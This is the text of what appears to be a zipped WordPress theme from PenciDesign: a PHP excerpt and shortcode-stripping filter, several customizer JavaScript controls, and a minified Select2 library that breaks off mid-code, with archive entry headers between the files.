 * that, then the string ' ...' will be appended to the excerpt. If the string
 * is less than 30 words, then the content will be returned as is.
 *
 * @param string $text Optional. The excerpt. If set to empty, an excerpt is generated.
 *
 * @return string The excerpt.
 */
if ( ! function_exists( 'penci_trim_excerpt' ) ):
	function penci_trim_excerpt( $text = '', $length = '' ) {
		$raw_excerpt = $text;

		if ( '' == $text ) {
			$text = get_the_content( '' );

			if ( class_exists( '\PenciDesign\SpeechCaster' ) ) {
				$SpeechCaster = \PenciDesign\SpeechCaster::get_instance();
				remove_filter( 'the_content', [ $SpeechCaster, 'add_player_to_content' ] );
			}

			$text = strip_shortcodes( $text );
			$text = function_exists( 'excerpt_remove_blocks' ) ? excerpt_remove_blocks( $text ) : $text;
			$text = apply_filters( 'the_content', $text );
			$text = str_replace( ']]>', ']]&gt;', $text );

			if ( ! $length || ! is_numeric( $length ) ) {
				$length = 30;
			}
		}

		if ( '' == $text ) {
			return '';
		}

		if ( $length ) {
			if ( get_theme_mod( 'penci_excerptcharac' ) ) {
				$text = strip_tags( $text );
				$text = html_entity_decode( $text );
				$text = mb_substr( $text, 0, $length, "utf-8" ) . '...';
			} else {
				$text = wp_trim_words( $text, $length, ' ...' );
			}
		}

		return $text;
	}
endif;

add_filter( 'strip_shortcodes_tagnames', 'penci_update_strip_shortcodes_tagnames' );
function penci_update_strip_shortcodes_tagnames( $tags ) {
	$tags_to_remove = array(
		'vc_gutenberg',
		'vc_row',
		'vc_row_inner',
		'vc_column',
		'vc_column_inner',
		'vc_column_text',
		'vc_section',
		'vc_icon',
		'vc_separator',
		'vc_zigzag',
		'vc_text_separator',
		'vc_message',
		'vc_hoverbox',
		'vc_facebook',
		'vc_tweetmeme',
		'vc_googleplus',
		'vc_pinterest',
		'vc_toggle',
		'vc_single_image',
		'vc_gallery',
		'vc_images_carousel',
		'vc_tta_tabs',
		'vc_tta_tour',
		'vc_tta_accordion',
		'vc_tta_pageable',
		'vc_tta_section',
		'vc_custom_heading',
		'vc_btn',
		'vc_cta',
		'vc_widget_sidebar',
		'vc_posts_slider',
		'vc_video',
		'vc_gmaps',
		'vc_raw_html',
		'vc_raw_js',
		'vc_flickr',
		'vc_progress_bar',
		'vc_pie',
		'vc_round_chart',
		'vc_line_chart',
		'vc_wp_search',
		'vc_wp_meta',
		'vc_wp_recentcomments',
		'vc_wp_calendar',
		'vc_wp_pages',
		'vc_wp_tagcloud',
		'vc_wp_custommenu',
		'vc_wp_text',
		'vc_wp_posts',
		'vc_wp_links',
		'vc_wp_categories',
		'vc_wp_archives',
		'vc_wp_rss',
		'vc_empty_space',
		'vc_basic_grid',
		'vc_media_grid',
		'vc_masonry_grid',
		'vc_masonry_media_grid',
		'vc_tabs',
		'vc_tour',
		'vc_tab',
		'vc_accordion',
		'vc_accordion_tab',
		'vc_button',
		'vc_button2',
		'vc_cta_button',
		'vc_cta_button2',
		'penci_about_me',
		'penci_column',
		'penci_column_inner',
		'penci_container',
		'penci_container_inner',
		'penci_count_down',
		'penci_counter_up',
		'penci_custom_sliders',
		'penci_facebook_page',
		'penci_fancy_heading',
		'penci_featured_slider',
		'penci_google_map',
		'penci_image_gallery',
		'penci_info_box',
		'penci_instagram',
		'penci_latest_tweets',
		'penci_login_form',
		'penci_mailchimp',
		'penci_open_hours',
		'penci_pintersest',
		'penci_popular_cat',
		'penci_posts_slider',
		'penci_pricing_table',
		'penci_progress_bar',
		'penci_recent_posts',
		'penci_social_counter',
		'penci_social_media',
		'penci_team_member',
		'penci_testimonails',
		'penci_text_block',
		'penci_video_playlist',
		'penci_weather',
	);

	return array_merge( $tags, $tags_to_remove );
}PK     N\k      inc/customizer/js/customizer.jsnu [        jQuery(document).ready(function ($) {
    "use strict";
    $('.customize-control-dropdown-select2').each(function () {
        $('.customize-control-select2').select2({
            allowClear: true
        });
    });

    $(".customize-control-select2").on("change", function () {
        var select2Val = $(this).val();
        $(this).parent().find('.customize-control-dropdown-select2').val(select2Val).trigger('change');
    });

    $(".pill_checkbox_control .sortable").sortable({
        placeholder: "pill-ui-state-highlight",
        update: function (event, ui) {
            PenciGetAllPillCheckboxes($(this).parent());
        }
    });

    $('.pill_checkbox_control .sortable-pill-checkbox').on('change', function () {
        PenciGetAllPillCheckboxes($(this).parent().parent().parent());
    });

    function PenciGetAllPillCheckboxes($element) {
        var inputValues = $element.find('.sortable-pill-checkbox').map(function () {
            if ($(this).is(':checked')) {
                return $(this).val();
            }
        }).toArray();
        $element.find('.customize-control-sortable-pill-checkbox').val(inputValues).trigger('change');
    }

    $('.customize-control-tinymce-editor').each(function () {
        // Get the toolbar strings that were passed from the PHP Class
        var tinyMCEToolbar1String = _wpCustomizeSettings.controls[$(this).attr('id')].skyrockettinymcetoolbar1;
        var tinyMCEToolbar2String = _wpCustomizeSettings.controls[$(this).attr('id')].skyrockettinymcetoolbar2;
        var tinyMCEMediaButtons = _wpCustomizeSettings.controls[$(this).attr('id')].skyrocketmediabuttons;

        wp.editor.initialize($(this).attr('id'), {
            tinymce: {
                wpautop: true,
                toolbar1: tinyMCEToolbar1String,
                toolbar2: tinyMCEToolbar2String
            },
            quicktags: true,
            mediaButtons: tinyMCEMediaButtons
        });
    });

    $(document).on('keyup', '.box-model-field', function () {
        var $parent = $(this).parents('.box-model-wrapper'),
            $save_field = $parent.find('.box-model-saved'),
            $input_fields = $parent.find('.box-model-field'),
            saved_string = '';

        $input_fields.each(function () {
            var $field = $(this);
            var field_value = $.isNumeric($field.val()) ? parseInt($field.val(), 10) : '-';
            if ($.isNumeric(field_value) || '-' === field_value) {
                saved_string += field_value + ', ';
            }
        });

        $save_field.val(saved_string.replace(/,\s*$/, "")).trigger('change');
    });

    $('[data-type="penci_speed_delete_cache"]').on('click', function (event) {
        var $this = $(this),
            $nonce = $this.data('nonce'),
            $ajaxurl = $this.data('ajaxurl'),
            $parent = $this.closest('.customize-control');
        event.preventDefault();
        $(this).addClass('loading');
        $.ajax({
            type: "post",
            dataType: "json",
            url: $ajaxurl,
            data: {
                action: "penci_speed_delete_cache",
                _nonce: $nonce,
            },
            success: function () {
                $this.removeClass('loading').addClass('success');
                $parent.find('.description span.count').html(0);
            },
            error: function (jqXHR, textStatus, errorThrown) {
                console.log('The following error occured: ' + textStatus, errorThrown);
            }
        });
    });


    jQuery(document).ready(function ($) {
        function addHelpIcons() {
            $(".customize-control").each(function () {
                var control = $(this);
                var title = control.find(".customize-control-title");
                var description = control.find(".customize-control-description");
    
                // Ensure the icon is only added once
                if (title.length && description.length && !title.find(".help-icon").length) {
                    var helpIcon = $("<span class='help-icon'>?</span>");
                    title.append(helpIcon);
    
                    // Hide description initially
                    description.hide().removeClass('active');
    
                    // Toggle description on click
                    helpIcon.on("click", function (e) {
                        e.stopPropagation(); // Prevent click from affecting other elements
                        $(".customize-control-description").not(description).slideUp(200).removeClass('active'); // Close other descriptions
                        description.slideToggle(200).toggleClass('active');
                    });

                    tippy(helpIcon[0], {
                        content: description.text(),
                        placement: 'top',
                        animation: 'fade',
                        interactive: true,
                        maxWidth: 220,
                    });
                }
            });
        }
    
        // Observe changes in the Customizer panel for dynamically added elements
        var observer = new MutationObserver(function (mutations) {
            mutations.forEach(function (mutation) {
                if (mutation.addedNodes.length) {
                    addHelpIcons();
                }
            });
        });
    
        // Target the main customizer container for observation
        var customizerContainer = document.getElementById("customize-controls");
        if (customizerContainer) {
            observer.observe(customizerContainer, {
                childList: true,
                subtree: true,
            });
        }
    
        // Run initially in case elements are already present
        addHelpIcons();
    });

});
PK     N\г    0  inc/customizer/js/customizer-search-admin.min.jsnu [        (function(a){var b="";CustomizerSearchAdmin={_init:function _init(){this._bind();var c=a.map(_wpCustomizeSettings.controls,function(b){return a.map(_wpCustomizeSettings.sections,function(c){b.section==c.id&&a.map(_wpCustomizeSettings.panels,function(a){""==c.panel&&(b.panelName=c.title),c.panel==a.id&&(b.sectionName=c.title,b.panel=c.panel,b.panelName=a.title)})}),[b]});b=document.getElementById("customize-theme-controls"),customizePanelsParent=a("#customize-theme-controls"),customizePanelsParent.after("<div id=\"search-results\"></div>"),a(document).on("keyup","#customizer-search-input",function(b){b.preventDefault(),$this=a("#customizer-search-input"),string=$this.val(),0<string.length?CustomizerSearchAdmin.displayMatches(string,c):CustomizerSearchAdmin._clearSearch()}),a(document).on("click",".clear-search",function(){CustomizerSearchAdmin._clearSearch()}),a(document).on("click",".customize-search-toggle",function(){CustomizerSearchAdmin._display_search_form()})},expandSection:function expandSection(){var a=this.getAttribute("data-section"),b=wp.customize.section(a);CustomizerSearchAdmin._clearSearch(),b.expand()},displayMatches:function displayMatches(a,c){var d=CustomizerSearchAdmin.findMatches(a,c);if(0!==d.length){html=d.map(function(b){if(""!==b.label){var c=b.panelName;""!=b.sectionName&&(c="".concat(c," \u25B8 ").concat(b.sectionName));var d=new RegExp(a,"gi"),e=b.label.replace(d,"<span class=\"hl\">".concat(a,"</span>"));return c=c.replace(d,"<span class=\"hl\">".concat(a,"</span>")),"\n                    <li id=\"accordion-section-".concat(b.section,"\" class=\"accordion-section control-section control-section-default customizer-search-results\" aria-owns=\"sub-accordion-section-").concat(b.section,"\" data-section=\"").concat(b.section,"\">\n                        <h3 class=\"accordion-section-title\" tabindex=\"0\">\n                            ").concat(e,"\n                            <span class=\"screen-reader-text\">Press return or enter to open this section</span>\n                        </h3>\n                        <span class=\"search-setting-path\">").concat(c,"</i></span>\n                    </li>\n                ")}}).join(""),b.classList.add("search-not-found"),document.getElementById("search-results").innerHTML="<ul id=\"customizer-search-results\">".concat(html,"</ul>");var e=document.querySelectorAll("#search-results .accordion-section");e.forEach(function(a){return a.addEventListener("click",CustomizerSearchAdmin.expandSection)})}},findMatches:function findMatches(a,b){return b.filter(function(b){null==b.panelName&&(b.panelName=""),null==b.sectionName&&(b.sectionName="");var c=new RegExp(a,"gi");return b.label.match(c)||b.panelName.match(c)||b.sectionName.match(c)})},_bind:function _bind(){wp.customize.previewer.targetWindow.bind(a.proxy(this._showSearchButtonToggle,this))},_showSearchButtonToggle:function _showSearchButtonToggle(){var b=wp.template("search-button");0==a("#customize-info .accordion-section-title .customize-search-toggle").length&&a("#customize-info .accordion-section-title").append(b());var b=wp.template("search-form");0==a("#customize-info #accordion-section-customizer-search").length&&a("#customize-info .customize-panel-description").after(b())},_display_search_form:function _display_search_form(){a("#accordion-section-customizer-search").hasClass("open")?(a("#accordion-section-customizer-search").removeClass("open"),a("#accordion-section-customizer-search").slideUp("fast")):(a(".customize-panel-description").removeClass("open"),a(".customize-panel-description").slideUp("fast"),a("#accordion-section-customizer-search").addClass("open"),a("#accordion-section-customizer-search").slideDown("fast")),a("#customizer-search-input").focus()},_clearSearch:function _clearSearch(){var b=document.getElementById("customize-theme-controls");b.classList.remove("search-not-found"),document.getElementById("search-results").innerHTML="",document.getElementById("customizer-search-input").value="",a("#customizer-search-input").focus()}},a(function(){CustomizerSearchAdmin._init()})})(jQuery);
PK     N\3R    %  inc/customizer/js/range-customizer.jsnu [        wp.customize.controlConstructor['pencidesign-custom-range-slider'] = wp.customize.Control.extend({
	ready: function() {
		'use strict';
		var control = this,
		    value,
		    thisInput,
		    inputDefault,
		    changeAction,
			controlClass = '.customize-control-pencidesign-custom-range-slider',
			footerControl = jQuery( '#customize-footer-actions' );
		
		// Calling range slider
		jQuery( '.pencidesign-range-slider' ).each( function() {
			var _this = jQuery( this );
			var _input = _this.closest( 'label' ).find( 'input[type="number"]' );
			var _text = _input.next( '.value' );
		});
		
		// Update the range value
		jQuery( controlClass + ' .penci_range_value input[type=number]' ).on( 'input', function() {
			value = jQuery( this ).attr( 'value' );
			if ( '' == value ) {
				value = -1;
			}
		});

		// Reset button
		jQuery( controlClass + ' .pencidesign-reset' ).on( 'click', function() {
			var icon = jQuery( this ),
				visible_area = icon.closest( '.penci-range-title-area' ).next( '.penci-range-slider-areas' ).children( 'label:visible' ),
				input = visible_area.find( 'input[type=number]' ),
				slider_value = visible_area.find( '.pencidesign-range-slider' ),
				visual_value = visible_area.find( '.penci_range_value' ),
				reset_value = input.attr( 'data-reset_value' );
			
			input.val( reset_value ).change();
			visual_value.find( 'input' ).val( reset_value );
			visual_value.find( '.value' ).text( reset_value );
			
			if ( '' == reset_value ) {
				reset_value = -1;
			}
		});
		
		// Activate icon when click
		jQuery( controlClass + ' .pencidesign-range-slider-control' ).each( function() {
			var _this = jQuery( this );
			_this.find( '.penci-device-controls' ).children( 'span:first-child' ).addClass( 'selected' );
			_this.find( '.range-option-area:first-child' ).show();
		});
		
		// Click on icons
		jQuery( controlClass + ' .penci-device-controls > span' ).on( 'click', function( event ) {
			var device = jQuery( this ).data( 'option' );
			
			jQuery( controlClass + ' .penci-device-controls span' ).each( function() {
				var _this = jQuery( this );
				if ( device == _this.attr( 'data-option' ) ) {
					_this.addClass( 'selected' );
					_this.siblings().removeClass( 'selected' );
				}
			});
			
			jQuery( controlClass + ' .penci-range-slider-areas label' ).each( function() {
				var _this = jQuery( this );
				if ( device == _this.attr( 'data-option' ) ) {
					_this.show();
					_this.siblings().hide();
				}
			});
			
			// Set the device currently viewing
			wp.customize.previewedDevice.set( jQuery( event.currentTarget ).data( 'option' ) );
		} );
		
		// Change devices on footer
		footerControl.find( '.devices button' ).on( 'click', function() {
			var device = jQuery( this ).data( 'device' );
			jQuery( controlClass + ' .penci-device-controls span' ).each( function() {
				var _this = jQuery( this );
				if ( device == _this.attr( 'data-option' ) ) {
					_this.addClass( 'selected' );
					_this.siblings().removeClass( 'selected' );
				}
			});
			
			jQuery( controlClass + ' .penci-range-slider-areas label' ).each( function() {
				var _this = jQuery( this );
				if ( device == _this.attr( 'data-option' ) ) {
					_this.show();
					_this.siblings().hide();
				}
			});
		});
		
		// Apply for desktop
		control.container.on( 'input change', '.desktop-range',
			function() {
				control.settings['desktop'].set( jQuery( this ).val() );
			}
		);
		
		// Apply for mobile
		control.container.on( 'input change', '.mobile-range',
			function() {
				control.settings['mobile'].set( jQuery( this ).val() );
			}
		);
	}

});PK     N\؝dS  S  !  inc/customizer/js/multi-select.jsnu [        jQuery(document).ready(function () {

    /* === Checkbox Multiple Control === */

    jQuery('.customize-control-checkbox-multiple input[type="checkbox"]').on('change', function () {

            checkbox_values = jQuery(this).parents('.customize-control').find('input[type="checkbox"]:checked').map(
                function () {
                    return this.value;
                }
            ).get().join(',');

            jQuery(this).parents('.customize-control').find('input[type="hidden"]').val(checkbox_values).trigger('change');
        }
    );

}); // jQuery( document ).ready
PK     N\i^l5 l5 %  inc/customizer/js/select2.full.min.jsnu [        /*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */
!function(n){"function"==typeof define&&define.amd?define(["jquery"],n):"object"==typeof module&&module.exports?module.exports=function(e,t){return void 0===t&&(t="undefined"!=typeof window?require("jquery"):require("jquery")(e)),n(t),t}:n(jQuery)}(function(d){var e=function(){if(d&&d.fn&&d.fn.select2&&d.fn.select2.amd)var e=d.fn.select2.amd;var t,n,i,h,o,s,f,g,m,v,y,_,r,a,w,l;function b(e,t){return r.call(e,t)}function c(e,t){var n,i,r,o,s,a,l,c,u,d,p,h=t&&t.split("/"),f=y.map,g=f&&f["*"]||{};if(e){for(s=(e=e.split("/")).length-1,y.nodeIdCompat&&w.test(e[s])&&(e[s]=e[s].replace(w,"")),"."===e[0].charAt(0)&&h&&(e=h.slice(0,h.length-1).concat(e)),u=0;u<e.length;u++)if("."===(p=e[u]))e.splice(u,1),u-=1;else if(".."===p){if(0===u||1===u&&".."===e[2]||".."===e[u-1])continue;0<u&&(e.splice(u-1,2),u-=2)}e=e.join("/")}if((h||g)&&f){for(u=(n=e.split("/")).length;0<u;u-=1){if(i=n.slice(0,u).join("/"),h)for(d=h.length;0<d;d-=1)if(r=(r=f[h.slice(0,d).join("/")])&&r[i]){o=r,a=u;break}if(o)break;!l&&g&&g[i]&&(l=g[i],c=u)}!o&&l&&(o=l,a=c),o&&(n.splice(0,a,o),e=n.join("/"))}return e}function A(t,n){return function(){var e=a.call(arguments,0);return"string"!=typeof e[0]&&1===e.length&&e.push(null),s.apply(h,e.concat([t,n]))}}function x(t){return function(e){m[t]=e}}function D(e){if(b(v,e)){var t=v[e];delete v[e],_[e]=!0,o.apply(h,t)}if(!b(m,e)&&!b(_,e))throw new Error("No "+e);return m[e]}function u(e){var t,n=e?e.indexOf("!"):-1;return-1<n&&(t=e.substring(0,n),e=e.substring(n+1,e.length)),[t,e]}function S(e){return e?u(e):[]}return e&&e.requirejs||(e?n=e:e={},m={},v={},y={},_={},r=Object.prototype.hasOwnProperty,a=[].slice,w=/\.js$/,f=function(e,t){var n,i=u(e),r=i[0],o=t[1];return e=i[1],r&&(n=D(r=c(r,o))),r?e=n&&n.normalize?n.normalize(e,function(t){return function(e){return c(e,t)}}(o)):c(e,o):(r=(i=u(e=c(e,o)))[0],e=i[1],r&&(n=D(r))),{f:r?r+"!"+e:e,n:e,pr:r,p:n}},g={require:function(e){return A(e)},exports:function(e){var t=m[e];return void 0!==t?t:m[e]={}},module:function(e){return{id:e,uri:"",exports:m[e],config:function(e){return function(){return y&&y.config&&y.config[e]||{}}}(e)}}},o=function(e,t,n,i){var r,o,s,a,l,c,u,d=[],p=typeof n;if(c=S(i=i||e),"undefined"==p||"function"==p){for(t=!t.length&&n.length?["require","exports","module"]:t,l=0;l<t.length;l+=1)if("require"===(o=(a=f(t[l],c)).f))d[l]=g.require(e);else if("exports"===o)d[l]=g.exports(e),u=!0;else if("module"===o)r=d[l]=g.module(e);else if(b(m,o)||b(v,o)||b(_,o))d[l]=D(o);else{if(!a.p)throw new Error(e+" missing "+o);a.p.load(a.n,A(i,!0),x(o),{}),d[l]=m[o]}s=n?n.apply(m[e],d):void 0,e&&(r&&r.exports!==h&&r.exports!==m[e]?m[e]=r.exports:s===h&&u||(m[e]=s))}else e&&(m[e]=n)},t=n=s=function(e,t,n,i,r){if("string"==typeof e)return g[e]?g[e](t):D(f(e,S(t)).f);if(!e.splice){if((y=e).deps&&s(y.deps,y.callback),!t)return;t.splice?(e=t,t=n,n=null):e=h}return t=t||function(){},"function"==typeof n&&(n=i,i=r),i?o(h,e,t,n):setTimeout(function(){o(h,e,t,n)},4),s},s.config=function(e){return s(e)},t._defined=m,(i=function(e,t,n){if("string"!=typeof e)throw new Error("See almond README: incorrect module build, no module name");t.splice||(n=t,t=[]),b(m,e)||b(v,e)||(v[e]=[e,t,n])}).amd={jQuery:!0},e.requirejs=t,e.require=n,e.define=i),e.define("almond",function(){}),e.define("jquery",[],function(){var e=d||$;return null==e&&console&&console.error&&console.error("Select2: An instance of jQuery or a jQuery-compatible library was not found. Make sure that you are including jQuery before Select2 on your web page."),e}),e.define("select2/utils",["jquery"],function(o){var r={};function u(e){var t=e.prototype,n=[];for(var i in t){"function"==typeof t[i]&&"constructor"!==i&&n.push(i)}return n}r.Extend=function(e,t){var n={}.hasOwnProperty;function i(){this.constructor=e}for(var r in t)n.call(t,r)&&(e[r]=t[r]);return i.prototype=t.prototype,e.prototype=new i,e.__super__=t.prototype,e},r.Decorate=function(i,r){var e=u(r),t=u(i);function o(){var e=Array.prototype.unshift,t=r.prototype.constructor.length,n=i.prototype.constructor;0<t&&(e.call(arguments,i.prototype.constructor),n=r.prototype.constructor),n.apply(this,arguments)}r.displayName=i.displayName,o.prototype=new function(){this.constructor=o};for(var n=0;n<t.length;n++){var s=t[n];o.prototype[s]=i.prototype[s]}function a(e){var t=function(){};e in o.prototype&&(t=o.prototype[e]);var n=r.prototype[e];return function(){return Array.prototype.unshift.call(arguments,t),n.apply(this,arguments)}}for(var l=0;l<e.length;l++){var c=e[l];o.prototype[c]=a(c)}return o};function e(){this.listeners={}}e.prototype.on=function(e,t){this.listeners=this.listeners||{},e in this.listeners?this.listeners[e].push(t):this.listeners[e]=[t]},e.prototype.trigger=function(e){var t=Array.prototype.slice,n=t.call(arguments,1);this.listeners=this.listeners||{},null==n&&(n=[]),0===n.length&&n.push({}),(n[0]._type=e)in this.listeners&&this.invoke(this.listeners[e],t.call(arguments,1)),"*"in this.listeners&&this.invoke(this.listeners["*"],arguments)},e.prototype.invoke=function(e,t){for(var n=0,i=e.length;n<i;n++)e[n].apply(this,t)},r.Observable=e,r.generateChars=function(e){for(var t="",n=0;n<e;n++){t+=Math.floor(36*Math.random()).toString(36)}return t},r.bind=function(e,t){return function(){e.apply(t,arguments)}},r._convertData=function(e){for(var t in e){var n=t.split("-"),i=e;if(1!==n.length){for(var r=0;r<n.length;r++){var o=n[r];(o=o.substring(0,1).toLowerCase()+o.substring(1))in i||(i[o]={}),r==n.length-1&&(i[o]=e[t]),i=i[o]}delete e[t]}}return e},r.hasScroll=function(e,t){var n=o(t),i=t.style.overflowX,r=t.style.overflowY;return(i!==r||"hidden"!==r&&"visible"!==r)&&("scroll"===i||"scroll"===r||(n.innerHeight()<t.scrollHeight||n.innerWidth()<t.scrollWidth))},r.escapeMarkup=function(e){var t={"\\":"&#92;","&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#39;","/":"&#47;"};return"string"!=typeof e?e:String(e).replace(/[&<>"'\/\\]/g,function(e){return t[e]})},r.appendMany=function(e,t){if("1.7"===o.fn.jquery.substr(0,3)){var n=o();o.map(t,function(e){n=n.add(e)}),t=n}e.append(t)},r.__cache={};var n=0;return r.GetUniqueElementId=function(e){var t=e.getAttribute("data-select2-id");return null==t&&(e.id?(t=e.id,e.setAttribute("data-select2-id",t)):(e.setAttribute("data-select2-id",++n),t=n.toString())),t},r.StoreData=function(e,t,n){var i=r.GetUniqueElementId(e);r.__cache[i]||(r.__cache[i]={}),r.__cache[i][t]=n},r.GetData=function(e,t){var n=r.GetUniqueElementId(e);return t?r.__cache[n]&&null!=r.__cache[n][t]?r.__cache[n][t]:o(e).data(t):r.__cache[n]},r.RemoveData=function(e){var t=r.GetUniqueElementId(e);null!=r.__cache[t]&&delete r.__cache[t],e.removeAttribute("data-select2-id")},r}),e.define("select2/results",["jquery","./utils"],function(h,f){function i(e,t,n){this.$element=e,this.data=n,this.options=t,i.__super__.constructor.call(this)}return f.Extend(i,f.Observable),i.prototype.render=function(){var e=h('<ul class="select2-results__options" role="listbox"></ul>');return this.options.get("multiple")&&e.attr("aria-multiselectable","true"),this.$results=e},i.prototype.clear=function(){this.$results.empty()},i.prototype.displayMessage=function(e){var t=this.options.get("escapeMarkup");this.clear(),this.hideLoading();var n=h('<li role="alert" aria-live="assertive" class="select2-results__option"></li>'),i=this.options.get("translations").get(e.message);n.append(t(i(e.args))),n[0].className+=" select2-results__message",this.$results.append(n)},i.prototype.hideMessages=function(){this.$results.find(".select2-results__message").remove()},i.prototype.append=function(e){this.hideLoading();var t=[];if(null!=e.results&&0!==e.results.length){e.results=this.sort(e.results);for(var n=0;n<e.results.length;n++){var i=e.results[n],r=this.option(i);t.push(r)}this.$results.append(t)}else 0===this.$results.children().length&&this.trigger("results:message",{message:"noResults"})},i.prototype.position=function(e,t){t.find(".select2-results").append(e)},i.prototype.sort=function(e){return this.options.get("sorter")(e)},i.prototype.highlightFirstItem=function(){var e=this.$results.find(".select2-results__option[aria-selected]"),t=e.filter("[aria-selected=true]");0<t.length?t.first().trigger("mouseenter"):e.first().trigger("mouseenter"),this.ensureHighlightVisible()},i.prototype.setClasses=function(){var t=this;this.data.current(function(e){var i=h.map(e,function(e){return e.id.toString()});t.$results.find(".select2-results__option[aria-selected]").each(function(){var e=h(this),t=f.GetData(this,"data"),n=""+t.id;null!=t.element&&t.element.selected||null==t.element&&-1<h.inArray(n,i)?e.attr("aria-selected","true"):e.attr("aria-selected","false")})})},i.prototype.showLoading=function(e){this.hideLoading();var t={disabled:!0,loading:!0,text:this.options.get("translations").get("searching")(e)},n=this.option(t);n.className+=" loading-results",this.$results.prepend(n)},i.prototype.hideLoading=function(){this.$results.find(".loading-results").remove()},i.prototype.option=function(e){var t=document.createElement("li");t.className="select2-results__option";var n={role:"option","aria-selected":"false"},i=window.Element.prototype.matches||window.Element.prototype.msMatchesSelector||window.Element.prototype.webkitMatchesSelector;for(var r in(null!=e.element&&i.call(e.element,":disabled")||null==e.element&&e.disabled)&&(delete n["aria-selected"],n["aria-disabled"]="true"),null==e.id&&delete n["aria-selected"],null!=e._resultId&&(t.id=e._resultId),e.title&&(t.title=e.title),e.children&&(n.role="group",n["aria-label"]=e.text,delete n["aria-selected"]),n){var o=n[r];t.setAttribute(r,o)}if(e.children){var s=h(t),a=document.createElement("strong");a.className="select2-results__group";h(a);this.template(e,a);for(var l=[],c=0;c<e.children.length;c++){var u=e.children[c],d=this.option(u);l.push(d)}var p=h("<ul></ul>",{class:"select2-results__options select2-results__options--nested"});p.append(l),s.append(a),s.append(p)}else this.template(e,t);return f.StoreData(t,"data",e),t},i.prototype.bind=function(t,e){var l=this,n=t.id+"-results";this.$results.attr("id",n),t.on("results:all",function(e){l.clear(),l.append(e.data),t.isOpen()&&(l.setClasses(),l.highlightFirstItem())}),t.on("results:append",function(e){l.append(e.data),t.isOpen()&&l.setClasses()}),t.on("query",function(e){l.hideMessages(),l.showLoading(e)}),t.on("select",function(){t.isOpen()&&(l.setClasses(),l.options.get("scrollAfterSelect")&&l.highlightFirstItem())}),t.on("unselect",function(){t.isOpen()&&(l.setClasses(),l.options.get("scrollAfterSelect")&&l.highlightFirstItem())}),t.on("open",function(){l.$results.attr("aria-expanded","true"),l.$results.attr("aria-hidden","false"),l.setClasses(),l.ensureHighlightVisible()}),t.on("close",function(){l.$results.attr("aria-expanded","false"),l.$results.attr("aria-hidden","true"),l.$results.removeAttr("aria-activedescendant")}),t.on("results:toggle",function(){var e=l.getHighlightedResults();0!==e.length&&e.trigger("mouseup")}),t.on("results:select",function(){var e=l.getHighlightedResults();if(0!==e.length){var t=f.GetData(e[0],"data");"true"==e.attr("aria-selected")?l.trigger("close",{}):l.trigger("select",{data:t})}}),t.on("results:previous",function(){var e=l.getHighlightedResults(),t=l.$results.find("[aria-selected]"),n=t.index(e);if(!(n<=0)){var i=n-1;0===e.length&&(i=0);var r=t.eq(i);r.trigger("mouseenter");var o=l.$results.offset().top,s=r.offset().top,a=l.$results.scrollTop()+(s-o);0===i?l.$results.scrollTop(0):s-o<0&&l.$results.scrollTop(a)}}),t.on("results:next",function(){var e=l.getHighlightedResults(),t=l.$results.find("[aria-selected]"),n=t.index(e)+1;if(!(n>=t.length)){var i=t.eq(n);i.trigger("mouseenter");var r=l.$results.offset().top+l.$results.outerHeight(!1),o=i.offset().top+i.outerHeight(!1),s=l.$results.scrollTop()+o-r;0===n?l.$results.scrollTop(0):r<o&&l.$results.scrollTop(s)}}),t.on("results:focus",function(e){e.element.addClass("select2-results__option--highlighted")}),t.on("results:message",function(e){l.displayMessage(e)}),h.fn.mousewheel&&this.$results.on("mousewheel",function(e){var t=l.$results.scrollTop(),n=l.$results.get(0).scrollHeight-t+e.deltaY,i=0<e.deltaY&&t-e.deltaY<=0,r=e.deltaY<0&&n<=l.$results.height();i?(l.$results.scrollTop(0),e.preventDefault(),e.stopPropagation()):r&&(l.$results.scrollTop(l.$results.get(0).scrollHeight-l.$results.height()),e.preventDefault(),e.stopPropagation())}),this.$results.on("mouseup",".select2-results__option[aria-selected]",function(e){var t=h(this),n=f.GetData(this,"data");"true"!==t.attr("aria-selected")?l.trigger("select",{originalEvent:e,data:n}):l.options.get("multiple")?l.trigger("unselect",{originalEvent:e,data:n}):l.trigger("close",{})}),this.$results.on("mouseenter",".select2-results__option[aria-selected]",function(e){var t=f.GetData(this,"data");l.getHighlightedResults().removeClass("select2-results__option--highlighted"),l.trigger("results:focus",{data:t,element:h(this)})})},i.prototype.getHighlightedResults=function(){return this.$results.find(".select2-results__option--highlighted")},i.prototype.destroy=function(){this.$results.remove()},i.prototype.ensureHighlightVisible=function(){var e=this.getHighlightedResults();if(0!==e.length){var t=this.$results.find("[aria-selected]").index(e),n=this.$results.offset().top,i=e.offset().top,r=this.$results.scrollTop()+(i-n),o=i-n;r-=2*e.outerHeight(!1),t<=2?this.$results.scrollTop(0):(o>this.$results.outerHeight()||o<0)&&this.$results.scrollTop(r)}},i.prototype.template=function(e,t){var n=this.options.get("templateResult"),i=this.options.get("escapeMarkup"),r=n(e,t);null==r?t.style.display="none":"string"==typeof r?t.innerHTML=i(r):h(t).append(r)},i}),e.define("select2/keys",[],function(){return{BACKSPACE:8,TAB:9,ENTER:13,SHIFT:16,CTRL:17,ALT:18,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46}}),e.define("select2/selection/base",["jquery","../utils","../keys"],function(n,i,r){function o(e,t){this.$element=e,this.options=t,o.__super__.constructor.call(this)}return i.Extend(o,i.Observable),o.prototype.render=function(){var e=n('<span class="select2-selection" role="combobox"  aria-haspopup="true" aria-expanded="false"></span>');return this._tabindex=0,null!=i.GetData(this.$element[0],"old-tabindex")?this._tabindex=i.GetData(this.$element[0],"old-tabindex"):null!=this.$element.attr("tabindex")&&(this._tabindex=this.$element.attr("tabindex")),e.attr("title",this.$element.attr("title")),e.attr("tabindex",this._tabindex),e.attr("aria-disabled","false"),this.$selection=e},o.prototype.bind=function(e,t){var 